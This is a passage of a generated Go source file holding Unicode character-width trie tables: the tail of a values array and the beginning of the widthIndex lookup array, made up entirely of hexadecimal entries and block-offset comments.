0x4000, 0x1497: 0x4000,\n\t0x1498: 0x4000, 0x1499: 0x4000, 0x149a: 0x4000, 0x149b: 0x4000, 0x149c: 0x4000, 0x149d: 0x4000,\n\t0x149e: 0x4000, 0x149f: 0x4000, 0x14a0: 0x4000,\n\t0x14ad: 0x4000, 0x14ae: 0x4000, 0x14af: 0x4000,\n\t0x14b0: 0x4000, 0x14b1: 0x4000, 0x14b2: 0x4000, 0x14b3: 0x4000, 0x14b4: 0x4000, 0x14b5: 0x4000,\n\t0x14b7: 0x4000, 0x14b8: 0x4000, 0x14b9: 0x4000, 0x14ba: 0x4000, 0x14bb: 0x4000,\n\t0x14bc: 0x4000, 0x14bd: 0x4000, 0x14be: 0x4000, 0x14bf: 0x4000,\n\t// Block 0x53, offset 0x14c0\n\t0x14c0: 0x4000, 0x14c1: 0x4000, 0x14c2: 0x4000, 0x14c3: 0x4000, 0x14c4: 0x4000, 0x14c5: 0x4000,\n\t0x14c6: 0x4000, 0x14c7: 0x4000, 0x14c8: 0x4000, 0x14c9: 0x4000, 0x14ca: 0x4000, 0x14cb: 0x4000,\n\t0x14cc: 0x4000, 0x14cd: 0x4000, 0x14ce: 0x4000, 0x14cf: 0x4000, 0x14d0: 0x4000, 0x14d1: 0x4000,\n\t0x14d2: 0x4000, 0x14d3: 0x4000, 0x14d4: 0x4000, 0x14d5: 0x4000, 0x14d6: 0x4000, 0x14d7: 0x4000,\n\t0x14d8: 0x4000, 0x14d9: 0x4000, 0x14da: 0x4000, 0x14db: 0x4000, 0x14dc: 0x4000, 0x14dd: 0x4000,\n\t0x14de: 0x4000, 0x14df: 0x4000, 0x14e0: 0x4000, 0x14e1: 0x4000, 0x14e2: 0x4000, 0x14e3: 0x4000,\n\t0x14e4: 0x4000, 0x14e5: 0x4000, 0x14e6: 0x4000, 0x14e7: 0x4000, 0x14e8: 0x4000, 0x14e9: 0x4000,\n\t0x14ea: 0x4000, 0x14eb: 0x4000, 0x14ec: 0x4000, 0x14ed: 0x4000, 0x14ee: 0x4000, 0x14ef: 0x4000,\n\t0x14f0: 0x4000, 0x14f1: 0x4000, 0x14f2: 0x4000, 0x14f3: 0x4000, 0x14f4: 0x4000, 0x14f5: 0x4000,\n\t0x14f6: 0x4000, 0x14f7: 0x4000, 0x14f8: 0x4000, 0x14f9: 0x4000, 0x14fa: 0x4000, 0x14fb: 0x4000,\n\t0x14fc: 0x4000, 0x14fe: 0x4000, 0x14ff: 0x4000,\n\t// Block 0x54, offset 0x1500\n\t0x1500: 0x4000, 0x1501: 0x4000, 0x1502: 0x4000, 0x1503: 0x4000, 0x1504: 0x4000, 0x1505: 0x4000,\n\t0x1506: 0x4000, 0x1507: 0x4000, 0x1508: 0x4000, 0x1509: 0x4000, 0x150a: 0x4000, 0x150b: 0x4000,\n\t0x150c: 0x4000, 0x150d: 0x4000, 0x150e: 0x4000, 0x150f: 0x4000, 0x1510: 0x4000, 0x1511: 0x4000,\n\t0x1512: 0x4000, 0x1513: 0x4000,\n\t0x1520: 0x4000, 0x1521: 0x4000, 0x1522: 0x4000, 0x1523: 0x4000,\n\t0x1524: 0x4000, 0x1525: 0x4000, 0x1526: 0x4000, 0x1527: 0x4000, 0x1528: 0x4000, 0x1529: 0x4000,\n\t0x152a: 0x4000, 0x152b: 0x4000, 0x152c: 0x4000, 0x152d: 0x4000, 0x152e: 0x4000, 0x152f: 0x4000,\n\t0x1530: 0x4000, 0x1531: 0x4000, 0x1532: 0x4000, 0x1533: 0x4000, 0x1534: 0x4000, 0x1535: 0x4000,\n\t0x1536: 0x4000, 0x1537: 0x4000, 0x1538: 0x4000, 0x1539: 0x4000, 0x153a: 0x4000, 0x153b: 0x4000,\n\t0x153c: 0x4000, 0x153d: 0x4000, 0x153e: 0x4000, 0x153f: 0x4000,\n\t// Block 0x55, offset 0x1540\n\t0x1540: 0x4000, 0x1541: 0x4000, 0x1542: 0x4000, 0x1543: 0x4000, 0x1544: 0x4000, 0x1545: 0x4000,\n\t0x1546: 0x4000, 0x1547: 0x4000, 0x1548: 0x4000, 0x1549: 0x4000, 0x154a: 0x4000,\n\t0x154f: 0x4000, 0x1550: 0x4000, 0x1551: 0x4000,\n\t0x1552: 0x4000, 0x1553: 0x4000,\n\t0x1560: 0x4000, 0x1561: 0x4000, 0x1562: 0x4000, 0x1563: 0x4000,\n\t0x1564: 0x4000, 0x1565: 0x4000, 0x1566: 0x4000, 0x1567: 0x4000, 0x1568: 0x4000, 0x1569: 0x4000,\n\t0x156a: 0x4000, 0x156b: 0x4000, 0x156c: 0x4000, 0x156d: 0x4000, 0x156e: 0x4000, 0x156f: 0x4000,\n\t0x1570: 0x4000, 0x1574: 0x4000,\n\t0x1578: 0x4000, 0x1579: 0x4000, 0x157a: 0x4000, 0x157b: 0x4000,\n\t0x157c: 0x4000, 0x157d: 0x4000, 0x157e: 0x4000, 0x157f: 0x4000,\n\t// Block 0x56, offset 0x1580\n\t0x1580: 0x4000, 0x1582: 0x4000, 0x1583: 0x4000, 0x1584: 0x4000, 0x1585: 0x4000,\n\t0x1586: 0x4000, 0x1587: 0x4000, 0x1588: 0x4000, 0x1589: 0x4000, 0x158a: 0x4000, 0x158b: 0x4000,\n\t0x158c: 0x4000, 0x158d: 0x4000, 0x158e: 0x4000, 0x158f: 0x4000, 0x1590: 0x4000, 0x1591: 0x4000,\n\t0x1592: 0x4000, 0x1593: 0x4000, 0x1594: 0x4000, 0x1595: 0x4000, 0x1596: 0x4000, 0x1597: 0x4000,\n\t0x1598: 0x4000, 0x1599: 0x4000, 0x159a: 0x4000, 0x159b: 0x4000, 0x159c: 0x4000, 0x159d: 0x4000,\n\t0x159e: 0x4000, 0x159f: 0x4000, 0x15a0: 0x4000, 0x15a1: 0x4000, 0x15a2: 0x4000, 0x15a3: 0x4000,\n\t0x15a4: 0x4000, 0x15a5: 0x4000, 0x15a6: 0x4000, 0x15a7: 0x4000, 0x15a8: 0x4000, 0x15a9: 0x4000,\n\t0x15aa: 0x4000, 0x15ab: 0x4000, 0x15ac: 0x4000, 0x15ad: 0x4000, 0x15ae: 0x4000, 0x15af: 0x4000,\n\t0x15b0: 0x4000, 0x15b1: 0x4000, 0x15b2: 0x4000, 0x15b3: 0x4000, 0x15b4: 0x4000, 0x15b5: 0x4000,\n\t0x15b6: 0x4000, 0x15b7: 0x4000, 0x15b8: 0x4000, 0x15b9: 0x4000, 0x15ba: 0x4000, 0x15bb: 0x4000,\n\t0x15bc: 0x4000, 0x15bd: 0x4000, 0x15be: 0x4000, 0x15bf: 0x4000,\n\t// Block 0x57, offset 0x15c0\n\t0x15c0: 0x4000, 0x15c1: 0x4000, 0x15c2: 0x4000, 0x15c3: 0x4000, 0x15c4: 0x4000, 0x15c5: 0x4000,\n\t0x15c6: 0x4000, 0x15c7: 0x4000, 0x15c8: 0x4000, 0x15c9: 0x4000, 0x15ca: 0x4000, 0x15cb: 0x4000,\n\t0x15cc: 0x4000, 0x15cd: 0x4000, 0x15ce: 0x4000, 0x15cf: 0x4000, 0x15d0: 0x4000, 0x15d1: 0x4000,\n\t0x15d2: 0x4000, 0x15d3: 0x4000, 0x15d4: 0x4000, 0x15d5: 0x4000, 0x15d6: 0x4000, 0x15d7: 0x4000,\n\t0x15d8: 0x4000, 0x15d9: 0x4000, 0x15da: 0x4000, 0x15db: 0x4000, 0x15dc: 0x4000, 0x15dd: 0x4000,\n\t0x15de: 0x4000, 0x15df: 0x4000, 0x15e0: 0x4000, 0x15e1: 0x4000, 0x15e2: 0x4000, 0x15e3: 0x4000,\n\t0x15e4: 0x4000, 0x15e5: 0x4000, 0x15e6: 0x4000, 0x15e7: 0x4000, 0x15e8: 0x4000, 0x15e9: 0x4000,\n\t0x15ea: 0x4000, 0x15eb: 0x4000, 0x15ec: 0x4000, 0x15ed: 0x4000, 0x15ee: 0x4000, 0x15ef: 0x4000,\n\t0x15f0: 0x4000, 0x15f1: 0x4000, 0x15f2: 0x4000, 0x15f3: 0x4000, 0x15f4: 0x4000, 0x15f5: 0x4000,\n\t0x15f6: 0x4000, 0x15f7: 0x4000, 0x15f8: 0x4000, 0x15f9: 0x4000, 0x15fa: 0x4000, 0x15fb: 0x4000,\n\t0x15fc: 0x4000, 0x15ff: 0x4000,\n\t// Block 0x58, offset 0x1600\n\t0x1600: 0x4000, 0x1601: 0x4000, 0x1602: 0x4000, 0x1603: 0x4000, 0x1604: 0x4000, 0x1605: 0x4000,\n\t0x1606: 0x4000, 0x1607: 0x4000, 0x1608: 0x4000, 0x1609: 0x4000, 0x160a: 0x4000, 0x160b: 0x4000,\n\t0x160c: 0x4000, 0x160d: 0x4000, 0x160e: 0x4000, 0x160f: 0x4000, 0x1610: 0x4000, 0x1611: 0x4000,\n\t0x1612: 0x4000, 0x1613: 0x4000, 0x1614: 0x4000, 0x1615: 0x4000, 0x1616: 0x4000, 0x1617: 0x4000,\n\t0x1618: 0x4000, 0x1619: 0x4000, 0x161a: 0x4000, 0x161b: 0x4000, 0x161c: 0x4000, 0x161d: 0x4000,\n\t0x161e: 0x4000, 0x161f: 0x4000, 0x1620: 0x4000, 0x1621: 0x4000, 0x1622: 0x4000, 0x1623: 0x4000,\n\t0x1624: 0x4000, 0x1625: 0x4000, 0x1626: 0x4000, 0x1627: 0x4000, 0x1628: 0x4000, 0x1629: 0x4000,\n\t0x162a: 0x4000, 0x162b: 0x4000, 0x162c: 0x4000, 0x162d: 0x4000, 0x162e: 0x4000, 0x162f: 0x4000,\n\t0x1630: 0x4000, 0x1631: 0x4000, 0x1632: 0x4000, 0x1633: 0x4000, 0x1634: 0x4000, 0x1635: 0x4000,\n\t0x1636: 0x4000, 0x1637: 0x4000, 0x1638: 0x4000, 0x1639: 0x4000, 0x163a: 0x4000, 0x163b: 0x4000,\n\t0x163c: 0x4000, 0x163d: 0x4000,\n\t// Block 0x59, offset 0x1640\n\t0x164b: 0x4000,\n\t0x164c: 0x4000, 0x164d: 0x4000, 0x164e: 0x4000, 0x1650: 0x4000, 0x1651: 0x4000,\n\t0x1652: 0x4000, 0x1653: 0x4000, 0x1654: 0x4000, 0x1655: 0x4000, 0x1656: 0x4000, 0x1657: 0x4000,\n\t0x1658: 0x4000, 0x1659: 0x4000, 0x165a: 0x4000, 0x165b: 0x4000, 0x165c: 0x4000, 0x165d: 0x4000,\n\t0x165e: 0x4000, 0x165f: 0x4000, 0x1660: 0x4000, 0x1661: 0x4000, 0x1662: 0x4000, 0x1663: 0x4000,\n\t0x1664: 0x4000, 0x1665: 0x4000, 0x1666: 0x4000, 0x1667: 0x4000,\n\t0x167a: 0x4000,\n\t// Block 0x5a, offset 0x1680\n\t0x1695: 0x4000, 0x1696: 0x4000,\n\t0x16a4: 0x4000,\n\t// Block 0x5b, offset 0x16c0\n\t0x16fb: 0x4000,\n\t0x16fc: 0x4000, 0x16fd: 0x4000, 0x16fe: 0x4000, 0x16ff: 0x4000,\n\t// Block 0x5c, offset 0x1700\n\t0x1700: 0x4000, 0x1701: 0x4000, 0x1702: 0x4000, 0x1703: 0x4000, 0x1704: 0x4000, 0x1705: 0x4000,\n\t0x1706: 0x4000, 0x1707: 0x4000, 0x1708: 0x4000, 0x1709: 0x4000, 0x170a: 0x4000, 0x170b: 0x4000,\n\t0x170c: 0x4000, 0x170d: 0x4000, 0x170e: 0x4000, 0x170f: 0x4000,\n\t// Block 0x5d, offset 0x1740\n\t0x1740: 0x4000, 0x1741: 0x4000, 0x1742: 0x4000, 0x1743: 0x4000, 0x1744: 0x4000, 0x1745: 0x4000,\n\t0x174c: 0x4000, 0x1750: 0x4000, 0x1751: 0x4000,\n\t0x1752: 0x4000,\n\t0x176b: 0x4000, 0x176c: 0x4000,\n\t0x1774: 0x4000, 0x1775: 0x4000,\n\t0x1776: 0x4000,\n\t// Block 0x5e, offset 0x1780\n\t0x1790: 0x4000, 0x1791: 0x4000,\n\t0x1792: 0x4000, 0x1793: 0x4000, 0x1794: 0x4000, 0x1795: 0x4000, 0x1796: 0x4000, 0x1797: 0x4000,\n\t0x1798: 0x4000, 0x1799: 0x4000, 0x179a: 0x4000, 0x179b: 0x4000, 0x179c: 0x4000, 0x179d: 0x4000,\n\t0x179e: 0x4000, 0x17a0: 0x4000, 0x17a1: 0x4000, 0x17a2: 0x4000, 0x17a3: 0x4000,\n\t0x17a4: 0x4000, 0x17a5: 0x4000, 0x17a6: 0x4000, 0x17a7: 0x4000,\n\t0x17b0: 0x4000, 0x17b3: 0x4000, 0x17b4: 0x4000, 0x17b5: 0x4000,\n\t0x17b6: 0x4000, 0x17b7: 0x4000, 0x17b8: 0x4000, 0x17b9: 0x4000, 0x17ba: 0x4000, 0x17bb: 0x4000,\n\t0x17bc: 0x4000, 0x17bd: 0x4000, 0x17be: 0x4000,\n\t// Block 0x5f, offset 0x17c0\n\t0x17c0: 0x4000, 0x17c1: 0x4000, 0x17c2: 0x4000, 0x17c3: 0x4000, 0x17c4: 0x4000, 0x17c5: 0x4000,\n\t0x17c6: 0x4000, 0x17c7: 0x4000, 0x17c8: 0x4000, 0x17c9: 0x4000, 0x17ca: 0x4000, 0x17cb: 0x4000,\n\t0x17d0: 0x4000, 0x17d1: 0x4000,\n\t0x17d2: 0x4000, 0x17d3: 0x4000, 0x17d4: 0x4000, 0x17d5: 0x4000, 0x17d6: 0x4000, 0x17d7: 0x4000,\n\t0x17d8: 0x4000, 0x17d9: 0x4000, 0x17da: 0x4000, 0x17db: 0x4000, 0x17dc: 0x4000, 0x17dd: 0x4000,\n\t0x17de: 0x4000,\n\t// Block 0x60, offset 0x1800\n\t0x1800: 0x4000, 0x1801: 0x4000, 0x1802: 0x4000, 0x1803: 0x4000, 0x1804: 0x4000, 0x1805: 0x4000,\n\t0x1806: 0x4000, 0x1807: 0x4000, 0x1808: 0x4000, 0x1809: 0x4000, 0x180a: 0x4000, 0x180b: 0x4000,\n\t0x180c: 0x4000, 0x180d: 0x4000, 0x180e: 0x4000, 0x180f: 0x4000, 0x1810: 0x4000, 0x1811: 0x4000,\n\t// Block 0x61, offset 0x1840\n\t0x1840: 0x4000,\n\t// Block 0x62, offset 0x1880\n\t0x1880: 0x2000, 0x1881: 0x2000, 0x1882: 0x2000, 0x1883: 0x2000, 0x1884: 0x2000, 0x1885: 0x2000,\n\t0x1886: 0x2000, 0x1887: 0x2000, 0x1888: 0x2000, 0x1889: 0x2000, 0x188a: 0x2000, 0x188b: 0x2000,\n\t0x188c: 0x2000, 0x188d: 0x2000, 0x188e: 0x2000, 0x188f: 0x2000, 0x1890: 0x2000, 0x1891: 0x2000,\n\t0x1892: 0x2000, 0x1893: 0x2000, 0x1894: 0x2000, 0x1895: 0x2000, 0x1896: 0x2000, 0x1897: 0x2000,\n\t0x1898: 0x2000, 0x1899: 0x2000, 0x189a: 0x2000, 0x189b: 0x2000, 0x189c: 0x2000, 0x189d: 0x2000,\n\t0x189e: 0x2000, 0x189f: 0x2000, 0x18a0: 0x2000, 0x18a1: 0x2000, 0x18a2: 0x2000, 0x18a3: 0x2000,\n\t0x18a4: 0x2000, 0x18a5: 0x2000, 0x18a6: 0x2000, 0x18a7: 0x2000, 0x18a8: 0x2000, 0x18a9: 0x2000,\n\t0x18aa: 0x2000, 0x18ab: 0x2000, 0x18ac: 0x2000, 0x18ad: 0x2000, 0x18ae: 0x2000, 0x18af: 0x2000,\n\t0x18b0: 0x2000, 0x18b1: 0x2000, 0x18b2: 0x2000, 0x18b3: 0x2000, 0x18b4: 0x2000, 0x18b5: 0x2000,\n\t0x18b6: 0x2000, 0x18b7: 0x2000, 0x18b8: 0x2000, 0x18b9: 0x2000, 0x18ba: 0x2000, 0x18bb: 0x2000,\n\t0x18bc: 0x2000, 0x18bd: 0x2000,\n}\n\n// widthIndex: 22 blocks, 1408 entries, 1408 bytes\n// Block 0 is the zero block.\nvar widthIndex = [1408]uint8{\n\t// Block 0x0, offset 0x0\n\t// Block 0x1, offset 0x40\n\t// Block 0x2, offset 0x80\n\t// Block 0x3, offset 0xc0\n\t0xc2: 0x01, 0xc3: 0x02, 0xc4: 0x03, 0xc5: 0x04, 0xc7: 0x05,\n\t0xc9: 0x06, 0xcb: 0x07, 0xcc: 0x08, 0xcd: 0x09, 0xce: 0x0a, 0xcf: 0x0b,\n\t0xd0: 0x0c, 0xd1: 0x0d,\n\t0xe1: 0x02, 0xe2: 0x03, 0xe3: 0x04, 0xe4: 0x05, 0xe5: 0x06, 0xe6: 0x06, 0xe7: 0x06,\n\t0xe8: 0x06, 0xe9: 0x06, 0xea: 0x07, 0xeb: 0x06, 0xec: 0x06, 0xed: 0x08, 0xee: 0x09, 0xef: 0x0a,\n\t0xf0: 0x0f, 0xf3: 0x12, 0xf4: 0x13,\n\t// Block 0x4, offset 0x100\n\t0x104: 0x0e, 0x105: 0x0f,\n\t// Block 0x5, offset 0x140\n\t0x140: 0x10, 0x141: 0x11, 0x142: 0x12, 0x144: 0x13, 0x145: 0x14, 0x146: 0x15, 0x147: 0x16,\n\t0x148: 0x17, 0x149: 0x18, 0x14a: 0x19, 0x14c: 0x1a, 0x14f: 0x1b,\n\t0x151: 0x1c, 0x152: 0x08, 0x153: 0x1d, 0x154: 0x1e, 0x155: 0x1f, 0x156: 0x20, 0x157: 0x21,\n\t0x158: 0x22, 0x159: 0x23, 0x15a: 0x24, 0x15b: 0x25, 0x15c: 0x26, 0x15d: 0x27, 0x15e: 0x28, 0x15f: 0x29,\n\t0x166: 0x2a,\n\t0x16c: 0x2b, 0x16d: 0x2c,\n\t0x17a: 0x2d, 0x17b: 0x2e, 0x17c: 0x0e, 0x17d: 0x0e, 0x17e: 0x0e, 0x17f: 0x2f,\n\t// Block 0x6, offset 0x180\n\t0x180: 0x30, 0x181: 0x31, 0x182: 0x32, 0x183: 0x33, 0x184: 0x34, 0x185: 0x35, 0x186: 0x36, 0x187: 0x37,\n\t0x188: 0x38, 0x189: 0x39, 0x18a: 0x0e, 0x18b: 0x3a, 0x18c: 0x0e, 0x18d: 0x0e, 0x18e: 0x0e, 0x18f: 0x0e,\n\t0x190: 0x0e, 0x191: 0x0e, 0x192: 0x0e, 0x193: 0x0e, 0x194: 0x0e, 0x195: 0x0e, 0x196: 0x0e, 0x197: 0x0e,\n\t0x198: 0x0e, 0x199: 0x0e, 0x19a: 0x0e, 0x19b: 0x0e, 0x19c: 0x0e, 0x19d: 0x0e, 0x19e: 0x0e, 0x19f: 0x0e,\n\t0x1a0: 0x0e, 0x1a1: 0x0e, 0x1a2: 0x0e, 0x1a3: 0x0e, 0x1a4: 0x0e, 0x1a5: 0x0e, 0x1a6: 0x0e, 0x1a7: 0x0e,\n\t0x1a8: 0x0e, 0x1a9: 0x0e, 0x1aa: 0x0e, 0x1ab: 0x0e, 0x1ac: 0x0e, 0x1ad: 0x0e, 0x1ae: 0x0e, 0x1af: 0x0e,\n\t0x1b0: 0x0e, 0x1b1: 0x0e, 0x1b2: 0x0e, 0x1b3: 0x0e, 0x1b4: 0x0e, 0x1b5: 0x0e, 0x1b6: 0x0e, 0x1b7: 0x0e,\n\t0x1b8: 0x0e, 0x1b9: 0x0e, 0x1ba: 0x0e, 0x1bb: 0x0e, 0x1bc: 0x0e, 0x1bd: 0x0e, 0x1be: 0x0e, 0x1bf: 0x0e,\n\t// Block 0x7, offset 0x1c0\n\t0x1c0: 0x0e, 0x1c1: 0x0e, 0x1c2: 0x0e, 0x1c3: 0x0e, 0x1c4: 0x0e, 0x1c5: 0x0e, 0x1c6: 0x0e, 0x1c7: 0x0e,\n\t0x1c8: 0x0e, 0x1c9: 0x0e, 0x1ca: 0x0e, 0x1cb: 0x0e, 0x1cc: 0x0e, 0x1cd: 0x0e, 0x1ce: 0x0e, 0x1cf: 0x0e,\n\t0x1d0: 0x0e, 0x1d1: 0x0e, 0x1d2: 0x0e, 0x1d3: 0x0e, 0x1d4: 0x0e, 0x1d5: 0x0e, 0x1d6: 0x0e, 0x1d7: 0x0e,\n\t0x1d8: 0x0e, 0x1d9: 0x0e, 0x1da: 0x0e, 0x1db: 0x0e, 0x1dc: 0x0e, 0x1dd: 0x0e, 0x1de: 0x0e, 0x1df: 0x0e,\n\t0x1e0: 0x0e, 0x1e1: 0x0e, 0x1e2: 0x0e, 0x1e3: 0x0e, 0x1e4: 0x0e, 0x1e5: 0x0e, 0x1e6: 0x0e, 0x1e7: 0x0e,\n\t0x1e8: 0x0e, 0x1e9: 0x0e, 0x1ea: 0x0e, 0x1eb: 0x0e, 0x1ec: 0x0e, 0x1ed: 0x0e, 0x1ee: 0x0e, 0x1ef: 0x0e,\n\t0x1f0: 0x0e, 0x1f1: 0x0e, 0x1f2: 0x0e, 0x1f3: 0x0e, 0x1f4: 0x0e, 0x1f5: 0x0e, 0x1f6: 0x0e,\n\t0x1f8: 0x0e, 0x1f9: 0x0e, 0x1fa: 0x0e, 0x1fb: 0x0e, 0x1fc: 0x0e, 0x1fd: 0x0e, 0x1fe: 0x0e, 0x1ff: 0x0e,\n\t// Block 0x8, offset 0x200\n\t0x200: 0x0e, 0x201: 0x0e, 0x202: 0x0e, 0x203: 0x0e, 0x204: 0x0e, 0x205: 0x0e, 0x206: 0x0e, 0x207: 0x0e,\n\t0x208: 0x0e, 0x209: 0x0e, 0x20a: 0x0e, 0x20b: 0x0e, 0x20c: 0x0e, 0x20d: 0x0e, 0x20e: 0x0e, 0x20f: 0x0e,\n\t0x210: 0x0e, 0x211: 0x0e, 0x212: 0x0e, 0x213: 0x0e, 0x214: 0x0e, 0x215: 0x0e, 0x216: 0x0e, 0x217: 0x0e,\n\t0x218: 0x0e, 0x219: 0x0e, 0x21a: 0x0e, 0x21b: 0x0e, 0x21c: 0x0e, 0x21d: 0x0e, 0x21e: 0x0e, 0x21f: 0x0e,\n\t0x220: 0x0e, 0x221: 0x0e, 0x222: 0x0e, 0x223: 0x0e, 0x224: 0x0e, 0x225: 0x0e, 0x226: 0x0e, 0x227: 0x0e,\n\t0x228: 0x0e, 0x229: 0x0e, 0x22a: 0x0e, 0x22b: 0x0e, 0x22c: 0x0e, 0x22d: 0x0e, 0x22e: 0x0e, 0x22f: 0x0e,\n\t0x230: 0x0e, 0x231: 0x0e, 0x232: 0x0e, 0x233: 0x0e, 0x234: 0x0e, 0x235: 0x0e, 0x236: 0x0e, 0x237: 0x0e,\n\t0x238: 0x0e, 0x239: 0x0e, 0x23a: 0x0e, 0x23b: 0x0e, 0x23c: 0x0e, 0x23d: 0x0e, 0x23e: 0x0e, 0x23f: 0x0e,\n\t// Block 0x9, offset 0x240\n\t0x240: 0x0e, 0x241: 0x0e, 0x242: 0x0e, 0x243: 0x0e, 0x244: 0x0e, 0x245: 0x0e, 0x246: 0x0e, 0x247: 0x0e,\n\t0x248: 0x0e, 0x249: 0x0e, 0x24a: 0x0e, 0x24b: 0x0e, 0x24c: 0x0e, 0x24d: 0x0e, 0x24e: 0x0e, 0x24f: 0x0e,\n\t0x250: 0x0e, 0x251: 0x0e, 0x252: 0x3b, 0x253: 0x3c,\n\t0x265: 0x3d,\n\t0x270: 0x0e, 0x271: 0x0e, 0x272: 0x0e, 0x273: 0x0e, 0x274: 0x0e, 0x275: 0x0e, 0x276: 0x0e, 0x277: 0x0e,\n\t0x278: 0x0e, 0x279: 0x0e, 0x27a: 0x0e, 0x27b: 0x0e, 0x27c: 0x0e, 0x27d: 0x0e, 0x27e: 0x0e, 0x27f: 0x0e,\n\t// Block 0xa, offset 0x280\n\t0x280: 0x0e, 0x281: 0x0e, 0x282: 0x0e, 0x283: 0x0e, 0x284: 0x0e, 0x285: 0x0e, 0x286: 0x0e, 0x287: 0x0e,\n\t0x288: 0x0e, 0x289: 0x0e, 0x28a: 0x0e, 0x28b: 0x0e, 0x28c: 0x0e, 0x28d: 0x0e, 0x28e: 0x0e, 0x28f: 0x0e,\n\t0x290: 0x0e, 0x291: 0x0e, 0x292: 0x0e, 0x293: 0x0e, 0x294: 0x0e, 0x295: 0x0e, 0x296: 0x0e, 0x297: 0x0e,\n\t0x298: 0x0e, 0x299: 0x0e, 0x29a: 0x0e, 0x29b: 0x0e, 0x29c: 0x0e, 0x29d: 0x0e, 0x29e: 0x3e,\n\t// Block 0xb, offset 0x2c0\n\t0x2c0: 0x08, 0x2c1: 0x08, 0x2c2: 0x08, 0x2c3: 0x08, 0x2c4: 0x08, 0x2c5: 0x08, 0x2c6: 0x08, 0x2c7: 0x08,\n\t0x2c8: 0x08, 0x2c9: 0x08, 0x2ca: 0x08, 0x2cb: 0x08, 0x2cc: 0x08, 0x2cd: 0x08, 0x2ce: 0x08, 0x2cf: 0x08,\n\t0x2d0: 0x08, 0x2d1: 0x08, 0x2d2: 0x08, 0x2d3: 0x08, 0x2d4: 0x08, 0x2d5: 0x08, 0x2d6: 0x08, 0x2d7: 0x08,\n\t0x2d8: 0x08, 0x2d9: 0x08, 0x2da: 0x08, 0x2db: 0x08, 0x2dc: 0x08, 0x2dd: 0x08, 0x2de: 0x08, 0x2df: 0x08,\n\t0x2e0: 0x08, 0x2e1: 0x08, 0x2e2: 0x08, 0x2e3: 0x08, 0x2e4: 0x08, 0x2e5: 0x08, 0x2e6: 0x08, 0x2e7: 0x08,\n\t0x2e8: 0x08, 0x2e9: 0x08, 0x2ea: 0x08, 0x2eb: 0x08, 0x2ec: 0x08, 0x2ed: 0x08, 0x2ee: 0x08, 0x2ef: 0x08,\n\t0x2f0: 0x08, 0x2f1: 0x08, 0x2f2: 0x08, 0x2f3: 0x08, 0x2f4: 0x08, 0x2f5: 0x08, 0x2f6: 0x08, 0x2f7: 0x08,\n\t0x2f8: 0x08, 0x2f9: 0x08, 0x2fa: 0x08, 0x2fb: 0x08, 0x2fc: 0x08, 0x2fd: 0x08, 0x2fe: 0x08, 0x2ff: 0x08,\n\t// Block 0xc, offset 0x300\n\t0x300: 0x08, 0x301: 0x08, 0x302: 0x08, 0x303: 0x08, 0x304: 0x08, 0x305: 0x08, 0x306: 0x08, 0x307: 0x08,\n\t0x308: 0x08, 0x309: 0x08, 0x30a: 0x08, 0x30b: 0x08, 0x30c: 0x08, 0x30d: 0x08, 0x30e: 0x08, 0x30f: 0x08,\n\t0x310: 0x08, 0x311: 0x08, 0x312: 0x08, 0x313: 0x08, 0x314: 0x08, 0x315: 0x08, 0x316: 0x08, 0x317: 0x08,\n\t0x318: 0x08, 0x319: 0x08, 0x31a: 0x08, 0x31b: 0x08, 0x31c: 0x08, 0x31d: 0x08, 0x31e: 0x08, 0x31f: 0x08,\n\t0x320: 0x08, 0x321: 0x08, 0x322: 0x08, 0x323: 0x08, 0x324: 0x0e, 0x325: 0x0e, 0x326: 0x0e, 0x327: 0x0e,\n\t0x328: 0x0e, 0x329: 0x0e, 0x32a: 0x0e, 0x32b: 0x0e,\n\t0x338: 0x3f, 0x339: 0x40, 0x33c: 0x41, 0x33d: 0x42, 0x33e: 0x43, 0x33f: 0x44,\n\t// Block 0xd, offset 0x340\n\t0x37f: 0x45,\n\t// Block 0xe, offset 0x380\n\t0x380: 0x0e, 0x381: 0x0e, 0x382: 0x0e, 0x383: 0x0e, 0x384: 0x0e, 0x385: 0x0e, 0x386: 0x0e, 0x387: 0x0e,\n\t0x388: 0x0e, 0x389: 0x0e, 0x38a: 0x0e, 0x38b: 0x0e, 0x38c: 0x0e, 0x38d: 0x0e, 0x38e: 0x0e, 0x38f: 0x0e,\n\t0x390: 0x0e, 0x391: 0x0e, 0x392: 0x0e, 0x393: 0x0e, 0x394: 0x0e, 0x395: 0x0e, 0x396: 0x0e, 0x397: 0x0e,\n\t0x398: 0x0e, 0x399: 0x0e, 0x39a: 0x0e, 0x39b: 0x0e, 0x39c: 0x0e, 0x39d: 0x0e, 0x39e: 0x0e, 0x39f: 0x46,\n\t0x3a0: 0x0e, 0x3a1: 0x0e, 0x3a2: 0x0e, 0x3a3: 0x0e, 0x3a4: 0x0e, 0x3a5: 0x0e, 0x3a6: 0x0e, 0x3a7: 0x0e,\n\t0x3a8: 0x0e, 0x3a9: 0x0e, 0x3aa: 0x0e, 0x3ab: 0x47,\n\t// Block 0xf, offset 0x3c0\n\t0x3c0: 0x48,\n\t// Block 0x10, offset 0x400\n\t0x400: 0x49, 0x403: 0x4a, 0x404: 0x4b, 0x405: 0x4c, 0x406: 0x4d,\n\t0x408: 0x4e, 0x409: 0x4f, 0x40c: 0x50, 0x40d: 0x51, 0x40e: 0x52, 0x40f: 0x53,\n\t0x410: 0x3a, 0x411: 0x54, 0x412: 0x0e, 0x413: 0x55, 0x414: 0x56, 0x415: 0x57, 0x416: 0x58, 0x417: 0x59,\n\t0x418: 0x0e, 0x419: 0x5a, 0x41a: 0x0e, 0x41b: 0x5b,\n\t0x424: 0x5c, 0x425: 0x5d, 0x426: 0x5e, 0x427: 0x5f,\n\t// Block 0x11, offset 0x440\n\t0x456: 0x0b, 0x457: 0x06,\n\t0x458: 0x0c, 0x45b: 0x0d, 0x45f: 0x0e,\n\t0x460: 0x06, 0x461: 0x06, 0x462: 0x06, 0x463: 0x06, 0x464: 0x06, 0x465: 0x06, 0x466: 0x06, 0x467: 0x06,\n\t0x468: 0x06, 0x469: 0x06, 0x46a: 0x06, 0x46b: 0x06, 0x46c: 0x06, 0x46d: 0x06, 0x46e: 0x06, 0x46f: 0x06,\n\t0x470: 0x06, 0x471: 0x06, 0x472: 0x06, 0x473: 0x06, 0x474: 0x06, 0x475: 0x06, 0x476: 0x06, 0x477: 0x06,\n\t0x478: 0x06, 0x479: 0x06, 0x47a: 0x06, 0x47b: 0x06, 0x47c: 0x06, 0x47d: 0x06, 0x47e: 0x06, 0x47f: 0x06,\n\t// Block 0x12, offset 0x480\n\t0x484: 0x08, 0x485: 0x08, 0x486: 0x08, 0x487: 0x09,\n\t// Block 0x13, offset 